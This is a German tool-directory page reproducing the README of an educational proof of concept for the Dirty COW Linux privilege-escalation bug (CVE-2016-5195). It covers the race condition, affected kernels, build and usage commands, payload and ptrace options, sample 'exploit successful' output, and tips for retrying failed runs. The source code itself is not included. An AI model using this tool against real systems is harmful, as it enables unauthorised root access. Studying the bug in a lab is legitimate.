Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
dirtycow-lab — Bildungs-PoC für Dirty COW (CVE-2016-5195) mit Protokollierung, ptrace-Fallback und Unterstützung für binäre Payloads. | Kitploit
Tools/GitHubGitHub/mohammadamin382/dirtycow-lab
Privilege EscalationSchwachstellenanalyseExploitationPenetrationstestsLernen & BildungRed TeamingBinary-ExploitationLabs & Praxis
GitHubmohammadamin382/dirtycow-lab

dirtycow-lab

Bildungs-PoC für Dirty COW (CVE-2016-5195) mit Protokollierung, ptrace-Fallback und Unterstützung für binäre Payloads.

Repository anzeigen
112vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Dirty COW Lehr-PoC (CVE-2016-5195)

⚠️ Rechtlicher Hinweis

Dieser Code dient NUR ZU LEHRZWECKEN. Jegliche böswillige Nutzung ist strengstens untersagt und illegal.

📖 Was ist Dirty COW?

Dirty COW (CVE-2016-5195) ist eine Privilegienausweitungs-Schwachstelle im Linux-Kernel, die eine Race-Condition im Copy-on-Write-Mechanismus (COW) des Kernels ausnutzt. Diese Schwachstelle betrifft Linux-Kernel ab Version 2.6.22 (veröffentlicht 2007) bis zu folgenden Versionen:

  • 4.8.3
  • 4.7.9
  • 4.4.26

Technische Details

Die Schwachstelle tritt im Speicherverwaltungssystem des Kernels auf:

  1. Copy-On-Write (COW): Wenn ein Prozess eine Datei mit MAP_PRIVATE mapped, sollten Änderungen eine private Kopie erzeugen
  2. Race-Condition: Zwei Threads konkurrieren zwischen madvise(MADV_DONTNEED) und dem Schreiben auf /proc/self/mem
  3. Ausnutzung: Unter bestimmten zeitlichen Bedingungen können Schreibvorgänge den COW-Schutz umgehen und die Originaldatei verändern

Auswirkungen

  • Privilegienausweitung: Ändern von schreibgeschützten Dateien, die root gehören
  • Systemkompromittierung: Möglichkeit, Root-Zugriff durch Ändern von Systemdateien wie /etc/passwd zu erlangen
  • Datenintegrität: Unautorisierte Änderung kritischer Systemdateien

🛡️ Sicherheitshinweise für Tests

⚠️ KRITISCH: Nur in isolierter Umgebung testen

Führen Sie dies NIEMALS auf Produktionssystemen oder Systemen aus, die Ihnen nicht gehören!

Empfohlene Testumgebung:

  1. Virtuelle Maschine (VM): Verwenden Sie VMware, VirtualBox oder KVM
  2. Container: Docker-Container mit verwundbarem Kernel
  3. Isoliertes Labor: Dediziertes Testgerät ohne wichtige Daten
  4. Kernel-Anforderungen: Linux-Kernel-Versionen 2.6.22 bis 4.8.2

Sichere Testpraktiken:

# 1. Check kernel version first
uname -r

# 2. Create isolated test directory
mkdir /tmp/dirtycow_test
cd /tmp/dirtycow_test

# 3. Test with harmless files only
./main -t /tmp/test_file -v

# 4. Monitor system resources
top -p $(pgrep -f main)

🚀 Kompilierung & Verwendung

Voraussetzungen

# Install required packages (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install build-essential libssl-dev

# Install required packages (CentOS/RHEL)
sudo yum install gcc openssl-devel

Kompilierung

# Standard compilation
make

# Debug version
make main-debug

# Manual compilation
gcc -o main main.c -lpthread -lssl -lcrypto

Grundlegende Verwendung

# Simple test with default settings
./main

# Verbose mode with custom target
./main -t /tmp/testfile -v

# Advanced usage with multiple processes
./main -t /tmp/target -n 4 -r 3 -D -v

# Binary payload from file
./main -f payload.bin -P -D -n 2

Befehlszeilenoptionen

OptionBeschreibungStandardMaximum
-t <datei>Pfad zur Zieldatei/tmp/dirty_cow_test-
-p <payload>Benutzerdefinierte Text-PayloadTest-String-
-f <datei>Binäre Payload aus Datei laden--
-i <anzahl>Anzahl der Iterationen10.000.000100.000.000
-n <anzahl>Anzahl paralleler Prozesse18
-r <anzahl>Wiederholungsversuche110
-Pptrace anstelle von /proc/self/mem verwendenDeaktiviert-
-DDynamische Offset-Suche aktivierenDeaktiviert-
-vAusführliche AusgabeDeaktiviert-
-l <datei>Pfad zur Logdateiexploit_log.txt-
-hHilfe anzeigen--

🔬 Erweiterte Funktionen

1. Mehrere Angriffsmethoden

  • Methode 1: Schreiben über /proc/self/mem (Standard)
  • Methode 2: ptrace(PTRACE_POKETEXT) für eingeschränkte Systeme

2. Dynamische Offset-Suche

Durchsucht mehrere Speicher-Offsets, um die beste Schreibposition zu finden:

./main -D -v  # Enable dynamic offset scanning

3. Multi-Prozess-Race-Conditions

Mehrere Prozesse für intensive Race-Conditions starten:

./main -n 4  # Use 4 parallel processes

4. Unterstützung binärer Payloads

Beliebige Binärdaten aus Dateien laden:

# Create binary payload
echo -ne '\x41\x41\x41\x41\x00\x42\x42' > payload.bin

# Use binary payload
./main -f payload.bin -v

5. Automatische Wiederholungslogik

Fehlgeschlagene Versuche automatisch wiederholen:

./main -r 5  # Retry up to 5 times

6. Dateiintegritätsprüfung

Verwendet SHA-256-Hashing zur Überprüfung von Dateiänderungen:

# Check original vs modified file hashes
./main -v  # Shows hash comparison in verbose mode

📊 Ausgabe & Protokollierung

Konsolenausgabe-Beispiel

Dirty COW Educational PoC (CVE-2016-5195)
==========================================

=== SYSTEM INFORMATION ===
Kernel Version: Linux 4.4.0-generic
Architecture: x86_64
Current User: testuser
UID/GID: 1000/1000

=== VULNERABILITY CHECK ===
Kernel: Linux version 4.4.0-generic
[+] /proc/self/mem accessible

=== STARTING TEST ===

=== EXPLOIT EXECUTION ===
[+] Target: /tmp/dirty_cow_test
[+] Payload length: 32 bytes
[+] Iterations: 10000000
[+] Processes: 1
[+] Method: /proc/self/mem
[+] Dynamic offset: disabled
[+] Backup created: /tmp/dirty_cow_test.backup
[+] Original content: original-content-before-exploit
[+] Starting race condition test...
[+] EXPLOIT SUCCESSFUL on attempt 1!
[+] File hash changed - modification confirmed!
[+] Original: a1b2c3d4e5f6...
[+] Final:    f6e5d4c3b2a1...

=== TEST SUCCESSFUL ===
[+] File modification completed
[+] Educational objective achieved
[+] Statistics: 156789 writes, 1 successful, 2.347 sec

Logdatei-Format

Das Tool erstellt detaillierte Logs in exploit_log.txt:

[2024-01-15 10:30:45] System Info - UID/GID: 1000/1000
[2024-01-15 10:30:45] Kernel version: Linux version 4.4.0-generic
[2024-01-15 10:30:45] /proc/self/mem accessible
[2024-01-15 10:30:45] Starting exploit - Target: /tmp/test, Payload: 32 bytes
[2024-01-15 10:30:47] EXPLOIT SUCCESSFUL on attempt 1
[2024-01-15 10:30:47] Final stats - Writes: 156789, Successful: 1, Duration: 2.347 sec

🎯 Testszenarien

Szenario 1: Grundlegender Funktionstest

# Test basic exploit functionality
./main -t /tmp/basic_test -v

Szenario 2: Stresstest

# High-intensity race condition test
./main -i 50000000 -n 4 -r 3 -D -v

Szenario 3: Eingeschränkte Umgebung

# Test when /proc/self/mem is blocked
./main -P -D -v

Szenario 4: Binäre Payload-Test

# Test with binary data containing null bytes
echo -ne 'BINARY\x00DATA\x01\x02\x03' > test.bin
./main -f test.bin -v

🔍 Den Exploit verstehen

Race-Condition-Timing

Der Exploit funktioniert, indem eine Race zwischen zwei Operationen erzeugt wird:

  1. Thread 1: madvise(MADV_DONTNEED) - Sagt dem Kernel, Speicherseiten zu verwerfen
  2. Thread 2: Schreiben auf /proc/self/mem - Versucht, in gemappten Speicher zu schreiben

Erfolgsfaktoren

  • Kernel-Version: Muss verwundbar sein (< 4.8.3)
  • Timing: Die Race-Condition muss genau im richtigen Moment auftreten
  • Speicher-Mapping: Die Datei muss mit MAP_PRIVATE gemappt sein
  • Berechtigungen: Lesezugriff auf die Zieldatei muss bestehen

Warum es funktioniert

Wenn die Race-Condition erfolgreich ist:

  1. Thread 1 verwirft die COW-Seite
  2. Thread 2 schreibt, bevor eine neue COW-Seite erstellt wird
  3. Der Schreibvorgang geht direkt in die Originaldatei anstatt in die private Kopie

🛠️ Fehlerbehebung

Häufige Probleme

1. „Exploit fehlgeschlagen oder unzureichende Iterationen“

  • Lösung: Iterationen mit -i erhöhen oder mehrere Prozesse mit -n verwenden

2. „/proc/self/mem Zugriff fehlgeschlagen“

  • Lösung: ptrace-Methode mit -P-Flag verwenden

3. „System ist möglicherweise nicht verwundbar“

  • Kernel-Version prüfen: uname -r
  • Sicherstellen, dass Kernel älter als 4.8.3 ist
Tool herunterladen